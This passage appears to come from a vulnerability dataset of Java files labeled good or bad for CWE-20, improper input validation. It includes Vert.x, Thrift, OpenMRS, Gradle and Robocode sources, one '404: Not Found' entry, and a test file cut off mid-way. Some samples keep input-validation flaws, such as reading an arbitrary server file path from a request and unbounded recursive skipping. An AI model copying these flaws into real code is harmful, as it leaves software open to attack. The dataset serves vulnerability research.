id
stringlengths 27
31
| content
stringlengths 14
287k
| max_stars_repo_path
stringlengths 52
57
|
|---|---|---|
crossvul-java_data_good_1101_0
|
/*
* Copyright 2011 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.gradle.plugins.signing.signatory.pgp;
import org.bouncycastle.bcpg.BCPGOutputStream;
import org.bouncycastle.jce.provider.BouncyCastleProvider;
import org.bouncycastle.openpgp.PGPException;
import org.bouncycastle.openpgp.PGPPrivateKey;
import org.bouncycastle.openpgp.PGPSecretKey;
import org.bouncycastle.openpgp.PGPSignature;
import org.bouncycastle.openpgp.PGPSignatureGenerator;
import org.bouncycastle.openpgp.PGPUtil;
import org.bouncycastle.openpgp.operator.PBESecretKeyDecryptor;
import org.bouncycastle.openpgp.operator.bc.BcPBESecretKeyDecryptorBuilder;
import org.bouncycastle.openpgp.operator.bc.BcPGPContentSignerBuilder;
import org.bouncycastle.openpgp.operator.bc.BcPGPDigestCalculatorProvider;
import org.gradle.api.UncheckedIOException;
import org.gradle.internal.UncheckedException;
import org.gradle.plugins.signing.signatory.SignatorySupport;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.security.Security;
/**
* PGP signatory from PGP key and password.
*/
public class PgpSignatory extends SignatorySupport {
{
Security.addProvider(new BouncyCastleProvider());
}
private final String name;
private final PGPSecretKey secretKey;
private final PGPPrivateKey privateKey;
public PgpSignatory(String name, PGPSecretKey secretKey, String password) {
this.name = name;
this.secretKey = secretKey;
this.privateKey = createPrivateKey(secretKey, password);
}
@Override
public final String getName() {
return name;
}
/**
* Exhausts {@code toSign}, and writes the signature to {@code signatureDestination}.
*
* The caller is responsible for closing the streams, though the output WILL be flushed.
*/
@Override
public void sign(InputStream toSign, OutputStream signatureDestination) {
PGPSignatureGenerator generator = createSignatureGenerator();
try {
feedGeneratorWith(toSign, generator);
PGPSignature signature = generator.generate();
writeSignatureTo(signatureDestination, signature);
} catch (IOException e) {
throw new UncheckedIOException(e);
} catch (PGPException e) {
throw UncheckedException.throwAsUncheckedException(e);
}
}
@Override
public String getKeyId() {
PgpKeyId id = new PgpKeyId(secretKey.getKeyID());
return id == null ? null : id.getAsHex();
}
private void feedGeneratorWith(InputStream toSign, PGPSignatureGenerator generator) throws IOException {
byte[] buffer = new byte[1024];
int read = toSign.read(buffer);
while (read > 0) {
generator.update(buffer, 0, read);
read = toSign.read(buffer);
}
}
private void writeSignatureTo(OutputStream signatureDestination, PGPSignature pgpSignature) throws PGPException, IOException {
// BCPGOutputStream seems to do some internal buffering, it's unclear whether it's strictly required here though
BCPGOutputStream bufferedOutput = new BCPGOutputStream(signatureDestination);
pgpSignature.encode(bufferedOutput);
bufferedOutput.flush();
}
public PGPSignatureGenerator createSignatureGenerator() {
try {
PGPSignatureGenerator generator = new PGPSignatureGenerator(new BcPGPContentSignerBuilder(secretKey.getPublicKey().getAlgorithm(), PGPUtil.SHA512));
generator.init(PGPSignature.BINARY_DOCUMENT, privateKey);
return generator;
} catch (PGPException e) {
throw UncheckedException.throwAsUncheckedException(e);
}
}
private PGPPrivateKey createPrivateKey(PGPSecretKey secretKey, String password) {
try {
PBESecretKeyDecryptor decryptor = new BcPBESecretKeyDecryptorBuilder(new BcPGPDigestCalculatorProvider()).build(password.toCharArray());
return secretKey.extractPrivateKey(decryptor);
} catch (PGPException e) {
throw UncheckedException.throwAsUncheckedException(e);
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_1101_0
|
crossvul-java_data_bad_195_0
|
/*
* Copyright (c) 2011-2017 Contributors to the Eclipse Foundation
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License 2.0 which is available at
* http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0
* which is available at https://www.apache.org/licenses/LICENSE-2.0.
*
* SPDX-License-Identifier: EPL-2.0 OR Apache-2.0
*/
package io.vertx.core.http;
/**
* Contains often used Header names.
* <p>
* It also contains a utility method to create optimized {@link CharSequence} which can be used as header name and value.
*
* @author <a href="mailto:nmaurer@redhat.com">Norman Maurer</a>
*/
public final class HttpHeaders {
/**
* Accept header name
*/
public static final CharSequence ACCEPT = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCEPT);
/**
* Accept-Charset header name
*/
public static final CharSequence ACCEPT_CHARSET = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCEPT_CHARSET);
/**
* Accept-Encoding header name
*/
public static final CharSequence ACCEPT_ENCODING = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCEPT_ENCODING);
/**
* Accept-Language header name
*/
public static final CharSequence ACCEPT_LANGUAGE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCEPT_LANGUAGE);
/**
* Accept-Ranges header name
*/
public static final CharSequence ACCEPT_RANGES = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCEPT_RANGES);
/**
* Accept-Patch header name
*/
public static final CharSequence ACCEPT_PATCH = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCEPT_PATCH);
/**
* Access-Control-Allow-Credentials header name
*/
public static final CharSequence ACCESS_CONTROL_ALLOW_CREDENTIALS = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCESS_CONTROL_ALLOW_CREDENTIALS);
/**
* Access-Control-Allow-Headers header name
*/
public static final CharSequence ACCESS_CONTROL_ALLOW_HEADERS = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCESS_CONTROL_ALLOW_HEADERS);
/**
* Access-Control-Allow-Methods header name
*/
public static final CharSequence ACCESS_CONTROL_ALLOW_METHODS = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCESS_CONTROL_ALLOW_METHODS);
/**
* Access-Control-Allow-Origin header name
*/
public static final CharSequence ACCESS_CONTROL_ALLOW_ORIGIN = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCESS_CONTROL_ALLOW_ORIGIN);
/**
* Access-Control-Expose-Headers header name
*/
public static final CharSequence ACCESS_CONTROL_EXPOSE_HEADERS = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCESS_CONTROL_EXPOSE_HEADERS);
/**
* Access-Control-Max-Age header name
*/
public static final CharSequence ACCESS_CONTROL_MAX_AGE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCESS_CONTROL_MAX_AGE);
/**
* Access-Control-Request-Headers header name
*/
public static final CharSequence ACCESS_CONTROL_REQUEST_HEADERS = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCESS_CONTROL_REQUEST_HEADERS);
/**
* Access-Control-Request-Method header name
*/
public static final CharSequence ACCESS_CONTROL_REQUEST_METHOD = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ACCESS_CONTROL_REQUEST_METHOD);
/**
* Age header name
*/
public static final CharSequence AGE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.AGE);
/**
* Allow header name
*/
public static final CharSequence ALLOW = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ALLOW);
/**
* Authorization header name
*/
public static final CharSequence AUTHORIZATION = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.AUTHORIZATION);
/**
* Cache-Control header name
*/
public static final CharSequence CACHE_CONTROL = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.CACHE_CONTROL);
/**
* Connection header name
*/
public static final CharSequence CONNECTION = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.CONNECTION);
/**
* Content-Base header name
*/
public static final CharSequence CONTENT_BASE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_BASE);
/**
* Content-Encoding header name
*/
public static final CharSequence CONTENT_ENCODING = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_ENCODING);
/**
* Content-Language header name
*/
public static final CharSequence CONTENT_LANGUAGE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_LANGUAGE);
/**
* Content-Length header name
*/
public static final CharSequence CONTENT_LENGTH = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_LENGTH);
/**
* Content-Location header name
*/
public static final CharSequence CONTENT_LOCATION = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_LOCATION);
/**
* Content-Transfer-Encoding header name
*/
public static final CharSequence CONTENT_TRANSFER_ENCODING = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TRANSFER_ENCODING);
/**
* Content-MD5 header name
*/
public static final CharSequence CONTENT_MD5 = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_MD5);
/**
* Content-Rage header name
*/
public static final CharSequence CONTENT_RANGE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_RANGE);
/**
* Content-Type header name
*/
public static final CharSequence CONTENT_TYPE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE);
/**
* Content-Cookie header name
*/
public static final CharSequence COOKIE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.COOKIE);
/**
* Date header name
*/
public static final CharSequence DATE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.DATE);
/**
* Etag header name
*/
public static final CharSequence ETAG = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ETAG);
/**
* Expect header name
*/
public static final CharSequence EXPECT = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.EXPECT);
/**
* Expires header name
*/
public static final CharSequence EXPIRES = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.EXPIRES);
/**
* From header name
*/
public static final CharSequence FROM = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.FROM);
/**
* Host header name
*/
public static final CharSequence HOST = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.HOST);
/**
* If-Match header name
*/
public static final CharSequence IF_MATCH = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.IF_MATCH);
/**
* If-Modified-Since header name
*/
public static final CharSequence IF_MODIFIED_SINCE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.IF_MODIFIED_SINCE);
/**
* If-None-Match header name
*/
public static final CharSequence IF_NONE_MATCH = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.IF_NONE_MATCH);
/**
* Last-Modified header name
*/
public static final CharSequence LAST_MODIFIED = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.LAST_MODIFIED);
/**
* Location header name
*/
public static final CharSequence LOCATION = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.LOCATION);
/**
* Origin header name
*/
public static final CharSequence ORIGIN = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.ORIGIN);
/**
* Proxy-Authenticate header name
*/
public static final CharSequence PROXY_AUTHENTICATE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.PROXY_AUTHENTICATE);
/**
* Proxy-Authorization header name
*/
public static final CharSequence PROXY_AUTHORIZATION = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.PROXY_AUTHORIZATION);
/**
* Referer header name
*/
public static final CharSequence REFERER = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.REFERER);
/**
* Retry-After header name
*/
public static final CharSequence RETRY_AFTER = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.RETRY_AFTER);
/**
* Server header name
*/
public static final CharSequence SERVER = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.SERVER);
/**
* Transfer-Encoding header name
*/
public static final CharSequence TRANSFER_ENCODING = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.TRANSFER_ENCODING);
/**
* User-Agent header name
*/
public static final CharSequence USER_AGENT = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.USER_AGENT);
/**
* Set-Cookie header name
*/
public static final CharSequence SET_COOKIE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Names.SET_COOKIE);
/**
* application/x-www-form-urlencoded header value
*/
public static final CharSequence APPLICATION_X_WWW_FORM_URLENCODED = createOptimized(io.netty.handler.codec.http.HttpHeaders.Values.APPLICATION_X_WWW_FORM_URLENCODED);
/**
* chunked header value
*/
public static final CharSequence CHUNKED = createOptimized(io.netty.handler.codec.http.HttpHeaders.Values.CHUNKED);
/**
* close header value
*/
public static final CharSequence CLOSE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Values.CLOSE);
/**
* 100-continue header value
*/
public static final CharSequence CONTINUE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Values.CONTINUE);
/**
* identity header value
*/
public static final CharSequence IDENTITY = createOptimized(io.netty.handler.codec.http.HttpHeaders.Values.IDENTITY);
/**
* keep-alive header value
*/
public static final CharSequence KEEP_ALIVE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Values.KEEP_ALIVE);
/**
* Upgrade header value
*/
public static final CharSequence UPGRADE = createOptimized(io.netty.handler.codec.http.HttpHeaders.Values.UPGRADE);
/**
* WebSocket header value
*/
public static final CharSequence WEBSOCKET = createOptimized(io.netty.handler.codec.http.HttpHeaders.Values.WEBSOCKET);
/**
* deflate,gzip header value
*/
public static final CharSequence DEFLATE_GZIP = createOptimized("deflate, gzip");
/**
* text/html header value
*/
public static final CharSequence TEXT_HTML = createOptimized("text/html");
/**
* GET header value
*/
public static final CharSequence GET = createOptimized("GET");
/**
* Create an optimized {@link CharSequence} which can be used as header name or value.
* This should be used if you expect to use it multiple times liked for example adding the same header name or value
* for multiple responses or requests.
*/
public static CharSequence createOptimized(String value) {
return io.netty.handler.codec.http.HttpHeaders.newEntity(value);
}
private HttpHeaders() {
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_195_0
|
crossvul-java_data_good_2626_0
|
package org.openmrs.module.htmlformentry.web.controller;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.StringWriter;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.SystemUtils;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.openmrs.Patient;
import org.openmrs.api.context.Context;
import org.openmrs.module.htmlformentry.FormEntryContext.Mode;
import org.openmrs.module.htmlformentry.FormEntrySession;
import org.openmrs.module.htmlformentry.HtmlForm;
import org.openmrs.module.htmlformentry.HtmlFormEntryUtil;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
/**
* The controller for previewing a HtmlForm by loading the xml file that defines that HtmlForm from
* disk.
* <p/>
* Handles {@code htmlFormFromFile.form} requests. Renders view {@code htmlFormFromFile.jsp}.
*/
@Controller
public class HtmlFormFromFileController {
private static final String TEMP_HTML_FORM_FILE_PREFIX = "html_form_";
/** Logger for this class and subclasses */
protected final Log log = LogFactory.getLog(getClass());
@RequestMapping("/module/htmlformentry/htmlFormFromFile.form")
public void handleRequest(Model model, @RequestParam(value = "filePath", required = false) String filePath,
@RequestParam(value = "patientId", required = false) Integer pId,
@RequestParam(value = "isFileUpload", required = false) boolean isFileUpload,
HttpServletRequest request) throws Exception {
Context.requirePrivilege("Manage Forms");
if (log.isDebugEnabled())
log.debug("In reference data...");
model.addAttribute("previewHtml", "");
String message = "";
File f = null;
try {
if (isFileUpload) {
MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request;
MultipartFile multipartFile = multipartRequest.getFile("htmlFormFile");
if (multipartFile != null) {
//use the same file for the logged in user
f = new File(SystemUtils.JAVA_IO_TMPDIR, TEMP_HTML_FORM_FILE_PREFIX
+ Context.getAuthenticatedUser().getSystemId());
if (!f.exists())
f.createNewFile();
filePath = f.getAbsolutePath();
FileOutputStream fileOut = new FileOutputStream(f);
IOUtils.copy(multipartFile.getInputStream(), fileOut);
fileOut.close();
}
} else {
if (StringUtils.hasText(filePath)) {
f = new File(filePath);
} else {
message = "You must specify a file path to preview from file";
}
}
if (f != null && f.exists() && f.canRead()) {
model.addAttribute("filePath", filePath);
StringWriter writer = new StringWriter();
IOUtils.copy(new FileInputStream(f), writer, "UTF-8");
String xml = writer.toString();
Patient p = null;
if (pId != null) {
p = Context.getPatientService().getPatient(pId);
} else {
p = HtmlFormEntryUtil.getFakePerson();
}
HtmlForm fakeForm = new HtmlForm();
fakeForm.setXmlData(xml);
FormEntrySession fes = new FormEntrySession(p, null, Mode.ENTER, fakeForm, request.getSession());
String html = fes.getHtmlToDisplay();
if (fes.getFieldAccessorJavascript() != null) {
html += "<script>" + fes.getFieldAccessorJavascript() + "</script>";
}
model.addAttribute("previewHtml", html);
//clear the error message
message = "";
} else {
message = "Please specify a valid file path or select a valid file.";
}
}
catch (Exception e) {
log.error("An error occurred while loading the html.", e);
message = "An error occurred while loading the html. " + e.getMessage();
}
model.addAttribute("message", message);
model.addAttribute("isFileUpload", isFileUpload);
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_2626_0
|
crossvul-java_data_bad_1381_0
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package com.facebook.thrift.protocol;
import java.util.Collections;
import com.facebook.thrift.TException;
/**
* Utility class with static methods for interacting with protocol data
* streams.
*
*/
public class TProtocolUtil {
/**
* The maximum recursive depth the skip() function will traverse before
* throwing a TException.
*/
private static int maxSkipDepth = Integer.MAX_VALUE;
/**
* Specifies the maximum recursive depth that the skip function will
* traverse before throwing a TException. This is a global setting, so
* any call to skip in this JVM will enforce this value.
*
* @param depth the maximum recursive depth. A value of 2 would allow
* the skip function to skip a structure or collection with basic children,
* but it would not permit skipping a struct that had a field containing
* a child struct. A value of 1 would only allow skipping of simple
* types and empty structs/collections.
*/
public static void setMaxSkipDepth(int depth) {
maxSkipDepth = depth;
}
/**
* Skips over the next data element from the provided input TProtocol object.
*
* @param prot the protocol object to read from
* @param type the next value will be intepreted as this TType value.
*/
public static void skip(TProtocol prot, byte type)
throws TException {
skip(prot, type, maxSkipDepth);
}
/**
* Skips over the next data element from the provided input TProtocol object.
*
* @param prot the protocol object to read from
* @param type the next value will be intepreted as this TType value.
* @param maxDepth this function will only skip complex objects to this
* recursive depth, to prevent Java stack overflow.
*/
public static void skip(TProtocol prot, byte type, int maxDepth)
throws TException {
if (maxDepth <= 0) {
throw new TException("Maximum skip depth exceeded");
}
switch (type) {
case TType.BOOL:
{
prot.readBool();
break;
}
case TType.BYTE:
{
prot.readByte();
break;
}
case TType.I16:
{
prot.readI16();
break;
}
case TType.I32:
{
prot.readI32();
break;
}
case TType.I64:
{
prot.readI64();
break;
}
case TType.DOUBLE:
{
prot.readDouble();
break;
}
case TType.FLOAT:
{
prot.readFloat();
break;
}
case TType.STRING:
{
prot.readBinary();
break;
}
case TType.STRUCT:
{
prot.readStructBegin(
Collections.<Integer, com.facebook.thrift.meta_data.FieldMetaData>emptyMap());
while (true) {
TField field = prot.readFieldBegin();
if (field.type == TType.STOP) {
break;
}
skip(prot, field.type, maxDepth - 1);
prot.readFieldEnd();
}
prot.readStructEnd();
break;
}
case TType.MAP:
{
TMap map = prot.readMapBegin();
for (int i = 0;
(map.size < 0) ? prot.peekMap() : (i < map.size);
i++) {
skip(prot, map.keyType, maxDepth - 1);
skip(prot, map.valueType, maxDepth - 1);
}
prot.readMapEnd();
break;
}
case TType.SET:
{
TSet set = prot.readSetBegin();
for (int i = 0;
(set.size < 0) ? prot.peekSet() : (i < set.size);
i++) {
skip(prot, set.elemType, maxDepth - 1);
}
prot.readSetEnd();
break;
}
case TType.LIST:
{
TList list = prot.readListBegin();
for (int i = 0;
(list.size < 0) ? prot.peekList() : (i < list.size);
i++) {
skip(prot, list.elemType, maxDepth - 1);
}
prot.readListEnd();
break;
}
default:
break;
}
}
/**
* Attempt to determine the protocol used to serialize some data.
*
* The guess is based on known specificities of supported protocols.
* In some cases, no guess can be done, in that case we return the
* fallback TProtocolFactory.
* To be certain to correctly detect the protocol, the first encoded
* field should have a field id < 256
*
* @param data The serialized data to guess the protocol for.
* @param fallback The TProtocol to return if no guess can be made.
* @return a Class implementing TProtocolFactory which can be used to create a deserializer.
*/
public static TProtocolFactory guessProtocolFactory(byte[] data, TProtocolFactory fallback) {
//
// If the first and last bytes are opening/closing curly braces we guess the protocol as
// being TJSONProtocol.
// It could not be a TCompactBinary encoding for a field of type 0xb (Map)
// with delta id 7 as the last byte for TCompactBinary is always 0.
//
if ('{' == data[0] && '}' == data[data.length - 1]) {
return new TJSONProtocol.Factory();
}
//
// If the last byte is not 0, then it cannot be TCompactProtocol, it must be
// TBinaryProtocol.
//
if (data[data.length - 1] != 0) {
return new TBinaryProtocol.Factory();
}
//
// A first byte of value > 16 indicates TCompactProtocol was used, and the first byte
// encodes a delta field id (id <= 15) and a field type.
//
if (data[0] > 0x10) {
return new TCompactProtocol.Factory();
}
//
// If the second byte is 0 then it is a field id < 256 encoded by TBinaryProtocol.
// It cannot possibly be TCompactProtocol since a value of 0 would imply a field id
// of 0 as the zig zag varint encoding would end.
//
if (data.length > 1 && 0 == data[1]) {
return new TBinaryProtocol.Factory();
}
//
// If bit 7 of the first byte of the field id is set then we have two choices:
// 1. A field id > 63 was encoded with TCompactProtocol.
// 2. A field id > 0x7fff (32767) was encoded with TBinaryProtocol and the last byte of the
// serialized data is 0.
// Option 2 is impossible since field ids are short and thus limited to 32767.
//
if (data.length > 1 && (data[1] & 0x80) != 0) {
return new TCompactProtocol.Factory();
}
//
// The remaining case is either a field id <= 63 encoded as TCompactProtocol,
// one >= 256 encoded with TBinaryProtocol with a last byte at 0, or an empty structure.
// As we cannot really decide, we return the fallback protocol.
//
return fallback;
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_1381_0
|
crossvul-java_data_bad_761_4
|
404: Not Found
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_761_4
|
crossvul-java_data_bad_761_0
|
/**
* Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* https://robocode.sourceforge.io/license/epl-v10.html
*/
package net.sf.robocode.host.security;
import net.sf.robocode.host.IHostedThread;
import net.sf.robocode.host.IThreadManager;
import net.sf.robocode.io.RobocodeProperties;
import java.security.AccessControlException;
/**
* @author Mathew A. Nelson (original)
* @author Flemming N. Larsen (contributor)
* @author Robert D. Maupin (contributor)
* @author Pavel Savara (contributor)
*/
public class RobocodeSecurityManager extends SecurityManager {
private final IThreadManager threadManager;
public RobocodeSecurityManager(IThreadManager threadManager) {
super();
this.threadManager = threadManager;
ThreadGroup tg = Thread.currentThread().getThreadGroup();
while (tg != null) {
threadManager.addSafeThreadGroup(tg);
tg = tg.getParent();
}
// We need to exercise it in order to load all used classes on this thread
isSafeThread(Thread.currentThread());
if (RobocodeProperties.isSecurityOn()) {
System.setSecurityManager(this);
}
}
@Override
public void checkAccess(Thread t) {
if (RobocodeProperties.isSecurityOff()) {
return;
}
Thread c = Thread.currentThread();
if (isSafeThread(c)) {
return;
}
super.checkAccess(t);
// Threads belonging to other thread groups is not allowed to access threads belonging to other thread groups
// Bug fix [3021140] Possible for robot to kill other robot threads.
// In the following the thread group of the current thread must be in the thread group hierarchy of the
// attacker thread; otherwise an AccessControlException must be thrown.
boolean found = false;
ThreadGroup cg = c.getThreadGroup();
ThreadGroup tg = t.getThreadGroup();
while (tg != null) {
if (tg == cg) {
found = true;
break;
}
try {
tg = tg.getParent();
} catch (AccessControlException e) {
// We expect an AccessControlException due to missing RuntimePermission modifyThreadGroup
break;
}
}
if (!found) {
String message = "Preventing " + c.getName() + " from access to " + t.getName();
IHostedThread robotProxy = threadManager.getLoadedOrLoadingRobotProxy(c);
if (robotProxy != null) {
robotProxy.punishSecurityViolation(message);
}
throw new AccessControlException(message);
}
}
@Override
public void checkAccess(ThreadGroup g) {
if (RobocodeProperties.isSecurityOff()) {
return;
}
Thread c = Thread.currentThread();
if (isSafeThread(c)) {
return;
}
super.checkAccess(g);
final ThreadGroup cg = c.getThreadGroup();
if (cg == null) {
// What the heck is going on here? JDK 1.3 is sending me a dead thread.
// This crashes the entire jvm if I don't return here.
return;
}
// Bug fix #382 Unable to run robocode.bat -- Access Control Exception
if ("SeedGenerator Thread".equals(c.getName()) && "SeedGenerator ThreadGroup".equals(cg.getName())) {
return; // The SeedGenerator might create a thread, which needs to be silently ignored
}
IHostedThread robotProxy = threadManager.getLoadedOrLoadingRobotProxy(c);
if (robotProxy == null) {
throw new AccessControlException("Preventing " + c.getName() + " from access to " + g.getName());
}
if (cg.activeCount() > 5) {
String message = "Robots are only allowed to create up to 5 threads!";
robotProxy.punishSecurityViolation(message);
throw new AccessControlException(message);
}
}
private boolean isSafeThread(Thread c) {
return threadManager.isSafeThread(c);
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_761_0
|
crossvul-java_data_bad_195_6
|
/*
* Copyright (c) 2011-2017 Contributors to the Eclipse Foundation
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License 2.0 which is available at
* http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0
* which is available at https://www.apache.org/licenses/LICENSE-2.0.
*
* SPDX-License-Identifier: EPL-2.0 OR Apache-2.0
*/
package io.vertx.test.core;
import io.netty.handler.codec.compression.DecompressionException;
import io.netty.handler.codec.http.DefaultHttpHeaders;
import io.netty.handler.codec.http.HttpResponseStatus;
import io.netty.handler.codec.http2.Http2Exception;
import io.vertx.codegen.annotations.Nullable;
import io.vertx.core.*;
import io.vertx.core.buffer.Buffer;
import io.vertx.core.dns.AddressResolverOptions;
import io.vertx.core.http.HttpClient;
import io.vertx.core.http.HttpClientOptions;
import io.vertx.core.http.HttpClientRequest;
import io.vertx.core.http.HttpClientResponse;
import io.vertx.core.http.HttpConnection;
import io.vertx.core.http.HttpFrame;
import io.vertx.core.http.HttpHeaders;
import io.vertx.core.http.HttpMethod;
import io.vertx.core.http.HttpServer;
import io.vertx.core.http.HttpServerOptions;
import io.vertx.core.http.HttpServerResponse;
import io.vertx.core.http.HttpVersion;
import io.vertx.core.http.impl.HeadersAdaptor;
import io.vertx.core.net.NetClient;
import io.vertx.core.net.NetSocket;
import io.vertx.core.net.SocketAddress;
import io.vertx.test.netty.TestLoggerFactory;
import org.junit.Assume;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.OutputStreamWriter;
import java.io.UnsupportedEncodingException;
import java.net.InetAddress;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.UUID;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.atomic.AtomicReference;
import java.util.function.Consumer;
import java.util.function.Function;
import java.util.stream.IntStream;
import static io.vertx.test.core.TestUtils.*;
import static java.util.Collections.*;
/**
* @author <a href="mailto:julien@julienviet.com">Julien Viet</a>
*/
public abstract class HttpTest extends HttpTestBase {
@Rule
public TemporaryFolder testFolder = new TemporaryFolder();
protected File testDir;
@Override
public void setUp() throws Exception {
super.setUp();
testDir = testFolder.newFolder();
}
protected HttpServerOptions createBaseServerOptions() {
return new HttpServerOptions().setPort(DEFAULT_HTTP_PORT).setHost(DEFAULT_HTTP_HOST);
}
protected HttpClientOptions createBaseClientOptions() {
return new HttpClientOptions();
}
@Test
public void testClientRequestArguments() throws Exception {
HttpClientRequest req = client.request(HttpMethod.PUT, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler());
assertNullPointerException(() -> req.putHeader((String) null, "someValue"));
assertNullPointerException(() -> req.putHeader((CharSequence) null, "someValue"));
assertNullPointerException(() -> req.putHeader("someKey", (Iterable<String>) null));
assertNullPointerException(() -> req.write((Buffer) null));
assertNullPointerException(() -> req.write((String) null));
assertNullPointerException(() -> req.write(null, "UTF-8"));
assertNullPointerException(() -> req.write("someString", null));
assertNullPointerException(() -> req.end((Buffer) null));
assertNullPointerException(() -> req.end((String) null));
assertNullPointerException(() -> req.end(null, "UTF-8"));
assertNullPointerException(() -> req.end("someString", null));
assertIllegalArgumentException(() -> req.setTimeout(0));
}
@Test
public void testClientChaining() {
server.requestHandler(noOpHandler());
server.listen(onSuccess(server -> {
HttpClientRequest req = client.request(HttpMethod.PUT, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, noOpHandler());
assertTrue(req.setChunked(true) == req);
assertTrue(req.sendHead() == req);
assertTrue(req.write("foo", "UTF-8") == req);
